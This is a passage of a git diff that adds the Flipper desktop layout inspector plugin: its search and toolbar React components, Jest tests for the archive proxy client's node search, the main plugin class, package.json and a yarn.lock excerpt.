searchResults.filter(x => x.isMatch).map(x => x.element.id),
|
||||
),
|
||||
query: query,
|
||||
});
|
||||
}
|
||||
|
||||
getElementsFromSearchResultTree(
|
||||
tree: SearchResultTree | null,
|
||||
): Array<SearchResultTree> {
|
||||
if (!tree) {
|
||||
return [];
|
||||
}
|
||||
let elements = [
|
||||
{
|
||||
children: [] as Array<SearchResultTree>,
|
||||
id: tree.id,
|
||||
isMatch: tree.isMatch,
|
||||
hasChildren: Boolean(tree.children),
|
||||
element: tree.element,
|
||||
axElement: tree.axElement,
|
||||
},
|
||||
];
|
||||
if (tree.children) {
|
||||
for (const child of tree.children) {
|
||||
elements = elements.concat(this.getElementsFromSearchResultTree(child));
|
||||
}
|
||||
}
|
||||
return elements;
|
||||
}
|
||||
|
||||
render() {
|
||||
return (
|
||||
<SearchBox tabIndex={-1}>
|
||||
<SearchIcon
|
||||
name="magnifying-glass"
|
||||
color={colors.macOSTitleBarIcon}
|
||||
size={16}
|
||||
/>
|
||||
<SearchInput
|
||||
placeholder={'Search'}
|
||||
onChange={this.onChange}
|
||||
onKeyDown={this.onKeyDown}
|
||||
value={this.state.value}
|
||||
/>
|
||||
{this.state.outstandingSearchQuery && <LoadingSpinner size={16} />}
|
||||
</SearchBox>
|
||||
);
|
||||
}
|
||||
}
|
||||
41
desktop/plugins/layout/ToolbarIcon.tsx
Normal file
41
desktop/plugins/layout/ToolbarIcon.tsx
Normal file
@@ -0,0 +1,41 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {Glyph, styled, colors} from 'flipper';
|
||||
import React from 'react';
|
||||
|
||||
type Props = {
|
||||
title: string;
|
||||
icon: string;
|
||||
active: boolean;
|
||||
onClick: () => void;
|
||||
};
|
||||
|
||||
const ToolbarIcon = styled.div({
|
||||
marginRight: 9,
|
||||
marginTop: -3,
|
||||
marginLeft: 4,
|
||||
position: 'relative', // for settings popover positioning
|
||||
});
|
||||
|
||||
export default function(props: Props) {
|
||||
return (
|
||||
<ToolbarIcon onClick={props.onClick} title={props.title}>
|
||||
<Glyph
|
||||
name={props.icon}
|
||||
size={16}
|
||||
color={
|
||||
props.active
|
||||
? colors.macOSTitleBarIconSelected
|
||||
: colors.macOSTitleBarIconActive
|
||||
}
|
||||
/>
|
||||
</ToolbarIcon>
|
||||
);
|
||||
}
|
||||
415
desktop/plugins/layout/__tests__/ProxyArchiveClient.node.tsx
Normal file
415
desktop/plugins/layout/__tests__/ProxyArchiveClient.node.tsx
Normal file
@@ -0,0 +1,415 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
default as ProxyArchiveClient,
|
||||
searchNodes,
|
||||
} from '../ProxyArchiveClient';
|
||||
import {PersistedState, ElementMap} from '../index';
|
||||
import {ElementID, Element} from 'flipper';
|
||||
import {SearchResultTree} from '../Search';
|
||||
|
||||
function constructElement(
|
||||
id: string,
|
||||
name: string,
|
||||
children: Array<ElementID>,
|
||||
): Element {
|
||||
return {
|
||||
id,
|
||||
name,
|
||||
expanded: false,
|
||||
children,
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: 'decoration',
|
||||
extraInfo: {},
|
||||
};
|
||||
}
|
||||
|
||||
function constructPersistedState(axMode: boolean): PersistedState {
|
||||
if (!axMode) {
|
||||
return {
|
||||
rootElement: 'root',
|
||||
rootAXElement: null,
|
||||
elements: {},
|
||||
AXelements: {},
|
||||
};
|
||||
}
|
||||
return {
|
||||
rootElement: null,
|
||||
rootAXElement: 'root',
|
||||
elements: {},
|
||||
AXelements: {},
|
||||
};
|
||||
}
|
||||
let state = constructPersistedState(false);
|
||||
|
||||
function populateChildren(state: PersistedState, axMode: boolean) {
|
||||
const elements: ElementMap = {};
|
||||
elements['root'] = constructElement('root', 'root view', [
|
||||
'child0',
|
||||
'child1',
|
||||
]);
|
||||
|
||||
elements['child0'] = constructElement('child0', 'child0 view', [
|
||||
'child0_child0',
|
||||
'child0_child1',
|
||||
]);
|
||||
elements['child1'] = constructElement('child1', 'child1 view', [
|
||||
'child1_child0',
|
||||
'child1_child1',
|
||||
]);
|
||||
elements['child0_child0'] = constructElement(
|
||||
'child0_child0',
|
||||
'child0_child0 view',
|
||||
[],
|
||||
);
|
||||
elements['child0_child1'] = constructElement(
|
||||
'child0_child1',
|
||||
'child0_child1 view',
|
||||
[],
|
||||
);
|
||||
elements['child1_child0'] = constructElement(
|
||||
'child1_child0',
|
||||
'child1_child0 view',
|
||||
[],
|
||||
);
|
||||
elements['child1_child1'] = constructElement(
|
||||
'child1_child1',
|
||||
'child1_child1 view',
|
||||
[],
|
||||
);
|
||||
state.elements = elements;
|
||||
if (axMode) {
|
||||
state.AXelements = elements;
|
||||
}
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
state = constructPersistedState(false);
|
||||
populateChildren(state, false);
|
||||
});
|
||||
|
||||
test('test the searchNode for root in axMode false', async () => {
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.elements['root'],
|
||||
'root',
|
||||
false,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeDefined();
|
||||
expect(searchResult).toEqual({
|
||||
id: 'root',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['root'],
|
||||
axElement: null,
|
||||
});
|
||||
});
|
||||
|
||||
test('test the searchNode for root in axMode true', async () => {
|
||||
state = constructPersistedState(true);
|
||||
populateChildren(state, true);
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.AXelements['root'],
|
||||
'RoOT',
|
||||
true,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeDefined();
|
||||
expect(searchResult).toEqual({
|
||||
id: 'root',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.AXelements['root'], // Even though AXElement exists, normal element will exist too
|
||||
axElement: state.AXelements['root'],
|
||||
});
|
||||
});
|
||||
|
||||
test('test the searchNode which matches just one child', async () => {
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.elements['root'],
|
||||
'child0_child0',
|
||||
false,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeDefined();
|
||||
expect(searchResult).toEqual({
|
||||
id: 'root',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0_child0',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child0_child0'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['child0'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['root'],
|
||||
axElement: null,
|
||||
});
|
||||
});
|
||||
|
||||
test('test the searchNode for which matches multiple child', async () => {
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.elements['root'],
|
||||
'child0',
|
||||
false,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeDefined();
|
||||
const expectedSearchResult = {
|
||||
id: 'root',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0',
|
||||
isMatch: true,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0_child0',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child0_child0'],
|
||||
axElement: null,
|
||||
},
|
||||
{
|
||||
id: 'child0_child1',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child0_child1'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['child0'],
|
||||
axElement: null,
|
||||
},
|
||||
{
|
||||
id: 'child1',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child1_child0',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child1_child0'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['child1'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['root'],
|
||||
axElement: null,
|
||||
};
|
||||
expect(searchResult).toEqual(expectedSearchResult);
|
||||
});
|
||||
|
||||
test('test the searchNode, it should not be case sensitive', async () => {
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.elements['root'],
|
||||
'ChIlD0',
|
||||
false,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeDefined();
|
||||
const expectedSearchResult = {
|
||||
id: 'root',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0',
|
||||
isMatch: true,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child0_child0',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child0_child0'],
|
||||
axElement: null,
|
||||
},
|
||||
{
|
||||
id: 'child0_child1',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child0_child1'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['child0'],
|
||||
axElement: null,
|
||||
},
|
||||
{
|
||||
id: 'child1',
|
||||
isMatch: false,
|
||||
hasChildren: true,
|
||||
children: [
|
||||
{
|
||||
id: 'child1_child0',
|
||||
isMatch: true,
|
||||
hasChildren: false,
|
||||
children: [],
|
||||
element: state.elements['child1_child0'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['child1'],
|
||||
axElement: null,
|
||||
},
|
||||
],
|
||||
element: state.elements['root'],
|
||||
axElement: null,
|
||||
};
|
||||
expect(searchResult).toEqual(expectedSearchResult);
|
||||
});
|
||||
|
||||
test('test the searchNode for non existent query', async () => {
|
||||
const searchResult: SearchResultTree | null = await searchNodes(
|
||||
state.elements['root'],
|
||||
'Unknown query',
|
||||
false,
|
||||
state,
|
||||
);
|
||||
expect(searchResult).toBeNull();
|
||||
});
|
||||
|
||||
test('test the call method with getRoot', async () => {
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
const root: Element = await proxyClient.call('getRoot');
|
||||
expect(root).toEqual(state.elements['root']);
|
||||
});
|
||||
|
||||
test('test the call method with getAXRoot', async () => {
|
||||
state = constructPersistedState(true);
|
||||
populateChildren(state, true);
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
const root: Element = await proxyClient.call('getAXRoot');
|
||||
expect(root).toEqual(state.AXelements['root']);
|
||||
});
|
||||
|
||||
test('test the call method with getNodes', async () => {
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
const nodes: Array<Element> = await proxyClient.call('getNodes', {
|
||||
ids: ['child0_child1', 'child1_child0'],
|
||||
});
|
||||
expect(nodes).toEqual({
|
||||
elements: [
|
||||
{
|
||||
id: 'child0_child1',
|
||||
name: 'child0_child1 view',
|
||||
expanded: false,
|
||||
children: [],
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: 'decoration',
|
||||
extraInfo: {},
|
||||
},
|
||||
{
|
||||
id: 'child1_child0',
|
||||
name: 'child1_child0 view',
|
||||
expanded: false,
|
||||
children: [],
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: 'decoration',
|
||||
extraInfo: {},
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
test('test the call method with getAXNodes', async () => {
|
||||
state = constructPersistedState(true);
|
||||
populateChildren(state, true);
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
const nodes: Array<Element> = await proxyClient.call('getAXNodes', {
|
||||
ids: ['child0_child1', 'child1_child0'],
|
||||
});
|
||||
expect(nodes).toEqual({
|
||||
elements: [
|
||||
{
|
||||
id: 'child0_child1',
|
||||
name: 'child0_child1 view',
|
||||
expanded: false,
|
||||
children: [],
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: 'decoration',
|
||||
extraInfo: {},
|
||||
},
|
||||
{
|
||||
id: 'child1_child0',
|
||||
name: 'child1_child0 view',
|
||||
expanded: false,
|
||||
children: [],
|
||||
attributes: [],
|
||||
data: {},
|
||||
decoration: 'decoration',
|
||||
extraInfo: {},
|
||||
},
|
||||
],
|
||||
});
|
||||
});
|
||||
|
||||
test('test different methods of calls with no params', async () => {
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
await expect(proxyClient.call('getNodes')).rejects.toThrow(
|
||||
new Error('Called getNodes with no params'),
|
||||
);
|
||||
await expect(proxyClient.call('getAXNodes')).rejects.toThrow(
|
||||
new Error('Called getAXNodes with no params'),
|
||||
);
|
||||
// let result: Error = await proxyClient.call('getSearchResults');
|
||||
await expect(proxyClient.call('getSearchResults')).rejects.toThrow(
|
||||
new Error('Called getSearchResults with no params'),
|
||||
);
|
||||
await expect(
|
||||
proxyClient.call('getSearchResults', {
|
||||
query: 'random',
|
||||
axEnabled: true,
|
||||
}),
|
||||
).rejects.toThrow(new Error('rootAXElement is undefined'));
|
||||
await expect(
|
||||
proxyClient.call('getSearchResults', {
|
||||
axEnabled: false,
|
||||
}),
|
||||
).rejects.toThrow(
|
||||
new Error('query is not passed as a params to getSearchResults'),
|
||||
);
|
||||
});
|
||||
|
||||
test('test call method isConsoleEnabled', () => {
|
||||
const proxyClient = new ProxyArchiveClient(state);
|
||||
return expect(proxyClient.call('isConsoleEnabled')).resolves.toBe(false);
|
||||
});
|
||||
451
desktop/plugins/layout/index.tsx
Normal file
451
desktop/plugins/layout/index.tsx
Normal file
@@ -0,0 +1,451 @@
|
||||
/**
|
||||
* Copyright (c) Facebook, Inc. and its affiliates.
|
||||
*
|
||||
* This source code is licensed under the MIT license found in the
|
||||
* LICENSE file in the root directory of this source tree.
|
||||
*
|
||||
* @format
|
||||
*/
|
||||
|
||||
import {
|
||||
ElementID,
|
||||
Element,
|
||||
ElementSearchResultSet,
|
||||
PluginClient,
|
||||
FlexColumn,
|
||||
FlexRow,
|
||||
FlipperPlugin,
|
||||
Toolbar,
|
||||
DetailSidebar,
|
||||
VerticalRule,
|
||||
Button,
|
||||
GK,
|
||||
Idler,
|
||||
Text,
|
||||
styled,
|
||||
colors,
|
||||
SupportRequestFormV2,
|
||||
constants,
|
||||
ReduxState,
|
||||
ArchivedDevice,
|
||||
} from 'flipper';
|
||||
import Inspector from './Inspector';
|
||||
import ToolbarIcon from './ToolbarIcon';
|
||||
import InspectorSidebar from './InspectorSidebar';
|
||||
import Search from './Search';
|
||||
import ProxyArchiveClient from './ProxyArchiveClient';
|
||||
import React from 'react';
|
||||
import {VisualizerPortal} from 'flipper';
|
||||
import {getFlipperMediaCDN} from 'flipper';
|
||||
|
||||
type State = {
|
||||
init: boolean;
|
||||
inTargetMode: boolean;
|
||||
inAXMode: boolean;
|
||||
inAlignmentMode: boolean;
|
||||
selectedElement: ElementID | null | undefined;
|
||||
selectedAXElement: ElementID | null | undefined;
|
||||
highlightedElement: ElementID | null;
|
||||
searchResults: ElementSearchResultSet | null;
|
||||
visualizerWindow: Window | null;
|
||||
visualizerScreenshot: string | null;
|
||||
screenDimensions: {width: number; height: number} | null;
|
||||
};
|
||||
|
||||
export type ElementMap = {[key: string]: Element};
|
||||
|
||||
export type PersistedState = {
|
||||
rootElement: ElementID | null;
|
||||
rootAXElement: ElementID | null;
|
||||
elements: ElementMap;
|
||||
AXelements: ElementMap;
|
||||
};
|
||||
|
||||
const FlipperADBarContainer = styled(FlexRow)({
|
||||
backgroundColor: colors.warningTint,
|
||||
flexGrow: 1,
|
||||
justifyContent: 'center',
|
||||
alignItems: 'center',
|
||||
borderWidth: 2,
|
||||
});
|
||||
|
||||
const FlipperADText = styled(Text)({
|
||||
padding: 10,
|
||||
});
|
||||
|
||||
const FlipperADButton = styled(Button)({
|
||||
margin: 10,
|
||||
});
|
||||
|
||||
export default class Layout extends FlipperPlugin<State, any, PersistedState> {
|
||||
FlipperADBar() {
|
||||
return (
|
||||
<FlipperADBarContainer>
|
||||
<FlipperADText>
|
||||
You can now submit support requests to Litho Group from Flipper. This
|
||||
automatically attaches critical information for reproducing your issue
|
||||
with just a single click.
|
||||
</FlipperADText>
|
||||
<FlipperADButton
|
||||
type="primary"
|
||||
onClick={() => {
|
||||
this.props.setStaticView(SupportRequestFormV2);
|
||||
}}>
|
||||
Try it out
|
||||
</FlipperADButton>
|
||||
</FlipperADBarContainer>
|
||||
);
|
||||
}
|
||||
|
||||
static exportPersistedState = async (
|
||||
callClient: (
|
||||
method: 'getAllNodes',
|
||||
) => Promise<{
|
||||
allNodes: PersistedState;
|
||||
}>,
|
||||
persistedState: PersistedState | undefined,
|
||||
store: ReduxState | undefined,
|
||||
): Promise<PersistedState | undefined> => {
|
||||
if (!store) {
|
||||
return persistedState;
|
||||
}
|
||||
const {allNodes} = await callClient('getAllNodes');
|
||||
return allNodes;
|
||||
};
|
||||
|
||||
static serializePersistedState: (
|
||||
persistedState: PersistedState,
|
||||
statusUpdate?: (msg: string) => void,
|
||||
idler?: Idler,
|
||||
) => Promise<string> = (
|
||||
persistedState: PersistedState,
|
||||
statusUpdate?: (msg: string) => void,
|
||||
_idler?: Idler,
|
||||
) => {
|
||||
statusUpdate && statusUpdate('Serializing Inspector Plugin...');
|
||||
return Promise.resolve(JSON.stringify(persistedState));
|
||||
};
|
||||
|
||||
static deserializePersistedState: (
|
||||
serializedString: string,
|
||||
) => PersistedState = (serializedString: string) => {
|
||||
return JSON.parse(serializedString);
|
||||
};
|
||||
|
||||
teardown() {
|
||||
this.state.visualizerWindow?.close();
|
||||
}
|
||||
|
||||
static defaultPersistedState = {
|
||||
rootElement: null,
|
||||
rootAXElement: null,
|
||||
elements: {},
|
||||
AXelements: {},
|
||||
};
|
||||
|
||||
state: State = {
|
||||
init: false,
|
||||
inTargetMode: false,
|
||||
inAXMode: false,
|
||||
inAlignmentMode: false,
|
||||
selectedElement: null,
|
||||
selectedAXElement: null,
|
||||
searchResults: null,
|
||||
visualizerWindow: null,
|
||||
highlightedElement: null,
|
||||
visualizerScreenshot: null,
|
||||
screenDimensions: null,
|
||||
};
|
||||
|
||||
init() {
|
||||
if (!this.props.persistedState) {
|
||||
// If the selected plugin from the previous session was layout, then while importing the flipper trace, the redux store doesn't get updated in the first render, due to which the plugin crashes, as it has no persisted state
|
||||
this.props.setPersistedState(this.constructor.defaultPersistedState);
|
||||
}
|
||||
// persist searchActive state when moving between plugins to prevent multiple
|
||||
// TouchOverlayViews since we can't edit the view heirarchy in onDisconnect
|
||||
this.client.call('isSearchActive').then(({isSearchActive}) => {
|
||||
this.setState({inTargetMode: isSearchActive});
|
||||
});
|
||||
|
||||
// disable target mode after
|
||||
this.client.subscribe('select', () => {
|
||||
if (this.state.inTargetMode) {
|
||||
this.onToggleTargetMode();
|
||||
}
|
||||
});
|
||||
|
||||
if (this.props.isArchivedDevice) {
|
||||
this.getDevice()
|
||||
.then(d => {
|
||||
const handle = (d as ArchivedDevice).getArchivedScreenshotHandle();
|
||||
if (!handle) {
|
||||
throw new Error('No screenshot attached.');
|
||||
}
|
||||
return handle;
|
||||
})
|
||||
.then(handle => getFlipperMediaCDN(handle, 'Image'))
|
||||
.then(url => this.setState({visualizerScreenshot: url}))
|
||||
.catch(_ => {
|
||||
// Not all exports have screenshots. This is ok.
|
||||
});
|
||||
}
|
||||
|
||||
this.setState({
|
||||
init: true,
|
||||
selectedElement: this.props.deepLinkPayload
|
||||
? this.props.deepLinkPayload
|
||||
: null,
|
||||
});
|
||||
}
|
||||
|
||||
onToggleTargetMode = () => {
|
||||
const inTargetMode = !this.state.inTargetMode;
|
||||
this.setState({inTargetMode});
|
||||
this.client.send('setSearchActive', {active: inTargetMode});
|
||||
};
|
||||
|
||||
onToggleAXMode = () => {
|
||||
this.setState({inAXMode: !this.state.inAXMode});
|
||||
};
|
||||
|
||||
getClient(): PluginClient {
|
||||
return this.props.isArchivedDevice
|
||||
? new ProxyArchiveClient(this.props.persistedState, (id: string) => {
|
||||
this.setState({highlightedElement: id});
|
||||
})
|
||||
: this.client;
|
||||
}
|
||||
onToggleAlignmentMode = () => {
|
||||
if (this.state.selectedElement) {
|
||||
this.client.send('setHighlighted', {
|
||||
id: this.state.selectedElement,
|
||||
inAlignmentMode: !this.state.inAlignmentMode,
|
||||
});
|
||||
}
|
||||
this.setState({inAlignmentMode: !this.state.inAlignmentMode});
|
||||
};
|
||||
|
||||
onToggleVisualizer = () => {
|
||||
if (this.state.visualizerWindow) {
|
||||
this.state.visualizerWindow.close();
|
||||
} else {
|
||||
const screenDimensions = this.state.screenDimensions;
|
||||
if (!screenDimensions) {
|
||||
return;
|
||||
}
|
||||
const visualizerWindow = window.open(
|
||||
'',
|
||||
'visualizer',
|
||||
`width=${screenDimensions.width},height=${screenDimensions.height}`,
|
||||
);
|
||||
if (!visualizerWindow) {
|
||||
return;
|
||||
}
|
||||
visualizerWindow.onunload = () => {
|
||||
this.setState({visualizerWindow: null});
|
||||
};
|
||||
visualizerWindow.onresize = () => {
|
||||
this.setState({visualizerWindow: visualizerWindow});
|
||||
};
|
||||
visualizerWindow.onload = () => {
|
||||
this.setState({visualizerWindow: visualizerWindow});
|
||||
};
|
||||
}
|
||||
};
|
||||
|
||||
onDataValueChanged = (path: Array<string>, value: any) => {
|
||||
const id = this.state.inAXMode
|
||||
? this.state.selectedAXElement
|
||||
: this.state.selectedElement;
|
||||
this.client.call('setData', {
|
||||
id,
|
||||
path,
|
||||
value,
|
||||
ax: this.state.inAXMode,
|
||||
});
|
||||
};
|
||||
showFlipperADBar: boolean = false;
|
||||
|
||||
getScreenDimensions(): {width: number; height: number} | null {
|
||||
if (this.state.screenDimensions) {
|
||||
return this.state.screenDimensions;
|
||||
}
|
||||
|
||||
requestIdleCallback(() => {
|
||||
// Walk the layout tree from root node down until a node with width and height is found.
|
||||
// Assume these are the dimensions of the screen.
|
||||
let elementId = this.props.persistedState.rootElement;
|
||||
while (elementId != null) {
|
||||
const element = this.props.persistedState.elements[elementId];
|
||||
if (!element) {
|
||||
return null;
|
||||
}
|
||||
if (element.data.View?.width) {
|
||||
break;
|
||||
}
|
||||
elementId = element.children[0];
|
||||
}
|
||||
if (elementId == null) {
|
||||
return null;
|
||||
}
|
||||
const element = this.props.persistedState.elements[elementId];
|
||||
if (
|
||||
element == null ||
|
||||
typeof element.data.View?.width != 'object' ||
|
||||
typeof element.data.View?.height != 'object'
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
const screenDimensions = {
|
||||
width: element.data.View?.width.value,
|
||||
height: element.data.View?.height.value,
|
||||
};
|
||||
this.setState({screenDimensions});
|
||||
});
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
render() {
|
||||
const inspectorProps = {
|
||||
client: this.getClient(),
|
||||
inAlignmentMode: this.state.inAlignmentMode,
|
||||
selectedElement: this.state.selectedElement,
|
||||
selectedAXElement: this.state.selectedAXElement,
|
||||
setPersistedState: this.props.setPersistedState,
|
||||
persistedState: this.props.persistedState,
|
||||
onDataValueChanged: this.onDataValueChanged,
|
||||
searchResults: this.state.searchResults,
|
||||
};
|
||||
|
||||
let element: Element | null = null;
|
||||
const {selectedAXElement, selectedElement, inAXMode} = this.state;
|
||||
if (inAXMode && selectedAXElement) {
|
||||
element = this.props.persistedState.AXelements[selectedAXElement];
|
||||
} else if (selectedElement) {
|
||||
element = this.props.persistedState.elements[selectedElement];
|
||||
}
|
||||
if (!constants.IS_PUBLIC_BUILD && !this.showFlipperADBar) {
|
||||
this.showFlipperADBar = element != null && element.decoration === 'litho';
|
||||
}
|
||||
const inspector = (
|
||||
<Inspector
|
||||
{...inspectorProps}
|
||||
onSelect={selectedElement => this.setState({selectedElement})}
|
||||
showsSidebar={!this.state.inAXMode}
|
||||
/>
|
||||
);
|
||||
|
||||
const axInspector = this.state.inAXMode && (
|
||||
<Inspector
|
||||
{...inspectorProps}
|
||||
onSelect={selectedAXElement => this.setState({selectedAXElement})}
|
||||
showsSidebar={true}
|
||||
ax
|
||||
/>
|
||||
);
|
||||
|
||||
const divider = this.state.inAXMode && <VerticalRule />;
|
||||
|
||||
const showAnalyzeYogaPerformanceButton = GK.get('flipper_yogaperformance');
|
||||
|
||||
const screenDimensions = this.getScreenDimensions();
|
||||
|
||||
return (
|
||||
<FlexColumn grow={true}>
|
||||
{this.state.init && (
|
||||
<>
|
||||
<Toolbar>
|
||||
{!this.props.isArchivedDevice && (
|
||||
<ToolbarIcon
|
||||
onClick={this.onToggleTargetMode}
|
||||
title="Toggle target mode"
|
||||
icon="target"
|
||||
active={this.state.inTargetMode}
|
||||
/>
|
||||
)}
|
||||
{this.realClient.query.os === 'Android' && (
|
||||
<ToolbarIcon
|
||||
onClick={this.onToggleAXMode}
|
||||
title="Toggle to see the accessibility hierarchy"
|
||||
icon="accessibility"
|
||||
active={this.state.inAXMode}
|
||||
/>
|
||||
)}
|
||||
{!this.props.isArchivedDevice && (
|
||||
<ToolbarIcon
|
||||
onClick={this.onToggleAlignmentMode}
|
||||
title="Toggle AlignmentMode to show alignment lines"
|
||||
icon="borders"
|
||||
active={this.state.inAlignmentMode}
|
||||
/>
|
||||
)}
|
||||
{this.props.isArchivedDevice &&
|
||||
this.state.visualizerScreenshot && (
|
||||
<ToolbarIcon
|
||||
onClick={this.onToggleVisualizer}
|
||||
title="Toggle visual recreation of layout"
|
||||
icon="mobile"
|
||||
active={!!this.state.visualizerWindow}
|
||||
/>
|
||||
)}
|
||||
|
||||
<Search
|
||||
client={this.getClient()}
|
||||
setPersistedState={this.props.setPersistedState}
|
||||
persistedState={this.props.persistedState}
|
||||
onSearchResults={searchResults =>
|
||||
this.setState({searchResults})
|
||||
}
|
||||
inAXMode={this.state.inAXMode}
|
||||
initialQuery={this.props.deepLinkPayload}
|
||||
/>
|
||||
</Toolbar>
|
||||
<FlexRow grow={true}>
|
||||
{inspector}
|
||||
{divider}
|
||||
{axInspector}
|
||||
</FlexRow>
|
||||
{this.showFlipperADBar && this.FlipperADBar()}
|
||||
<DetailSidebar>
|
||||
<InspectorSidebar
|
||||
client={this.getClient()}
|
||||
realClient={this.realClient}
|
||||
element={element}
|
||||
onValueChanged={this.onDataValueChanged}
|
||||
logger={this.props.logger}
|
||||
/>
|
||||
{showAnalyzeYogaPerformanceButton &&
|
||||
element &&
|
||||
element.decoration === 'litho' ? (
|
||||
<Button
|
||||
icon={'share-external'}
|
||||
compact={true}
|
||||
style={{marginTop: 8, marginRight: 12}}
|
||||
onClick={() => {
|
||||
this.props.selectPlugin('YogaPerformance', element!.id);
|
||||
}}>
|
||||
Analyze Yoga Performance
|
||||
</Button>
|
||||
) : null}
|
||||
</DetailSidebar>
|
||||
{this.state.visualizerWindow &&
|
||||
screenDimensions &&
|
||||
(this.state.visualizerScreenshot ? (
|
||||
<VisualizerPortal
|
||||
container={this.state.visualizerWindow.document.body}
|
||||
elements={this.props.persistedState.elements}
|
||||
highlightedElement={this.state.highlightedElement}
|
||||
screenshotURL={this.state.visualizerScreenshot}
|
||||
screenDimensions={screenDimensions}
|
||||
/>
|
||||
) : (
|
||||
'Loading...'
|
||||
))}
|
||||
</>
|
||||
)}
|
||||
</FlexColumn>
|
||||
);
|
||||
}
|
||||
}
|
||||
24
desktop/plugins/layout/package.json
Normal file
24
desktop/plugins/layout/package.json
Normal file
@@ -0,0 +1,24 @@
|
||||
{
|
||||
"name": "Inspector",
|
||||
"version": "1.0.0",
|
||||
"main": "index.tsx",
|
||||
"license": "MIT",
|
||||
"keywords": [
|
||||
"flipper-plugin"
|
||||
],
|
||||
"dependencies": {
|
||||
"deep-equal": "^2.0.1",
|
||||
"lodash": "^4.17.15",
|
||||
"lodash.clonedeep": "^4.5.0",
|
||||
"lodash.debounce": "^4.0.8"
|
||||
},
|
||||
"title": "Layout",
|
||||
"icon": "target",
|
||||
"bugs": {
|
||||
"email": "oncall+flipper@xmail.facebook.com",
|
||||
"url": "https://fb.workplace.com/groups/flippersupport/"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@types/lodash.clonedeep": "^4.5.6"
|
||||
}
|
||||
}
|
||||
279
desktop/plugins/layout/yarn.lock
Normal file
279
desktop/plugins/layout/yarn.lock
Normal file
@@ -0,0 +1,279 @@
|
||||
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
|
||||
# yarn lockfile v1
|
||||
|
||||
|
||||
"@types/lodash.clonedeep@^4.5.6":
|
||||
version "4.5.6"
|
||||
resolved "https://registry.yarnpkg.com/@types/lodash.clonedeep/-/lodash.clonedeep-4.5.6.tgz#3b6c40a0affe0799a2ce823b440a6cf33571d32b"
|
||||
integrity sha512-cE1jYr2dEg1wBImvXlNtp0xDoS79rfEdGozQVgliDZj1uERH4k+rmEMTudP9b4VQ8O6nRb5gPqft0QzEQGMQgA==
|
||||
dependencies:
|
||||
"@types/lodash" "*"
|
||||
|
||||
"@types/lodash@*":
|
||||
version "4.14.138"
|
||||
resolved "https://registry.yarnpkg.com/@types/lodash/-/lodash-4.14.138.tgz#34f52640d7358230308344e579c15b378d91989e"
|
||||
integrity sha512-A4uJgHz4hakwNBdHNPdxOTkYmXNgmUAKLbXZ7PKGslgeV0Mb8P3BlbYfPovExek1qnod4pDfRbxuzcVs3dlFLg==
|
||||
|
||||
